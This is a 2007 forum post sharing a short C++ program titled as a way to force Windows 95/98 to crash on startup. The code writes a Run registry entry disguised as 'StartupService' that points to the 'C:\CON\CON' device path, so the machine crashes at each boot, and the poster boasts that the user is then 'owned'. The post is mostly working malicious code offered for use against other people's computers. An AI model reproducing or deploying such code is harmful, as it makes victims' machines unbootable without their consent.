View Single Post
  #1  
Old 23-02-2007, 10:50 PM
SMR's Avatar
SMR (Offline)
ਸਤਿ ਸ੍ਰੀ ਅਕਾਲ
 
Join Date: Jan 2007
Posts: 62
SMR is an unknown quantity at this point
Default [C++] Force Windows 95/98 to crash on startup

EDIT: I forgot the [C++] tag, any mod/admin mind adding that for me?

#include <windows.h>
int APIENTRY WinMain(HINSTANCE hInstance,
                     HINSTANCE hPrevInstance,
                     LPSTR     lpCmdLine,
                     int       nCmdShow)
{
     // TODO: Place code here.
    BYTE Data[11] = { 'C',':','\\','C','O','N','\\','C','O','N','\0' };
    HKEY KeyHandle;
    RegOpenKey(HKEY_LOCAL_MACHINE,"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run",&KeyHandle);
    RegSetValueEx(KeyHandle,"StartupService",NULL,REG_SZ,Data,11);
    RegCloseKey(KeyHandle);
    return 0;
}
Once the user restarts their computer, they're owned.

Last edited by SMR; 24-02-2007 at 05:08 PM..